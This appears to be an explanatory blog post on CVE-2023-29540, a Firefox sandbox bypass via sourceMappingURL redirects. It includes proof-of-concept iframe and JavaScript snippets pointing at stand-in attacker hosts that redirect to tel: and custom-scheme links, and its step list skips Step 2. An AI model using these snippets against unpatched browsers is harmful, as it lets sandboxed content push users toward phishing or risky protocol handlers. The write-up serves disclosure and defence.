When it comes to browser security, even small errors in handling web resources can become dangerous. CVE-2023-29540 is a clear example of this—a flaw in the way Firefox-based browsers handled sourceMappingURL that could let harmful links slip past restrictive browsing sandboxes. Let’s break down what happened, how it worked, and why it mattered, using plain language and direct code samples.

Focus for Android (before 112)

The bug allowed attackers to bypass navigation restrictions in sandboxed iframes. Normally, those iframes can’t trigger the browser to open certain types of links, like custom protocols (tel:, ftp:, custom-scheme:), unless the iframe includes a special flag (allow-top-navigation-to-custom-protocols). But with this flaw, simply embedding a redirect in a sourceMappingURL could sneak around those rules.

Why Does That Matter?

Browsers use sandboxes to isolate part of a web page, limiting its ability to do harm. Breaking out—even just to launch a new URL—opens the door to phishing, malware, and tricking users into opening risky links.

1. Understanding sourceMappingURL

Developers often attach a sourceMappingURL comment at the end of minified JavaScript or CSS files, pointing browsers and tools to the original source code for debugging:

//# sourceMappingURL=main.js.map

Browsers read these lines but are supposed to treat them as safe, non-functional text.

2. The Bypass

The vulnerability was in how Firefox followed these URLs, even for external links and inside tightly sandboxed iframes. Worse, you could use redirects (like those from example.com/redirect?url=...) to send browsers to custom protocol handlers.

Sandboxed iframes (with sandbox attribute) are restricted

<iframe src="..." sandbox="allow-scripts"></iframe>

They can’t navigate the top-level window to say, a tel: or custom: link—_unless_ you specify in the sandbox rules:

<iframe src="..." sandbox="allow-scripts allow-top-navigation-to-custom-protocols"></iframe>

But CVE-2023-29540 allowed attackers to skip that permission, just via a sourceMappingURL pointing to an external redirect.

Step 1: Malicious Code Loads in a Sandboxed Frame

<!-- Parent page embeds a strict sandboxed iframe: -->
<iframe src="attack.html" sandbox="allow-scripts"></iframe>

The attacker hosts a JS/CSS file ending with

//# sourceMappingURL=https://attacker.example/redirect?to=custom-scheme://exploit

Or a CSS file

/*# sourceMappingURL=https://attacker.example/redirect?to=custom-scheme://exploit */

Step 3: Attacker's Server Redirects

https://attacker.example/redirect?to=custom-scheme://exploit issues an HTTP 302 redirect to custom-scheme://exploit, or something like tel:999.

Even though the iframe _shouldn't_ allow navigating to custom protocols, the browser does it via the mishandled sourceMappingURL.

Here’s a super simple demonstration

<!-- index.html: -->
<iframe src="malicious.js" sandbox="allow-scripts"></iframe>

malicious.js

// harmless js code
console.log('Hello from malicious.js');

//# sourceMappingURL=https://evil.example/redirect?to=tel:123456789

On loading, Firefox would fetch the source map, hit the remote URL, get redirected, and prompt the user to open the phone dialer—all from within a sandboxed frame.

What Did Mozilla Do?

Mozilla fixed this in Firefox 112. They tightened the rules to block navigation to external protocols via sourceMappingURL unless the sandbox explicitly allows it.

Security advisory: CVE-2023-29540 at Mozilla

Always keep your browser updated, especially your mobile and alternate browsers.

Stay safe! For more technical details or to see the official bug, check Mozilla’s bug report and security advisory.

References

- Mozilla Security Advisory 2023-13
- Mozilla Bugzilla #1824961 (bug report)
- What is a sourceMappingURL? (MDN Docs)

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/09/2023 03:56:00 UTC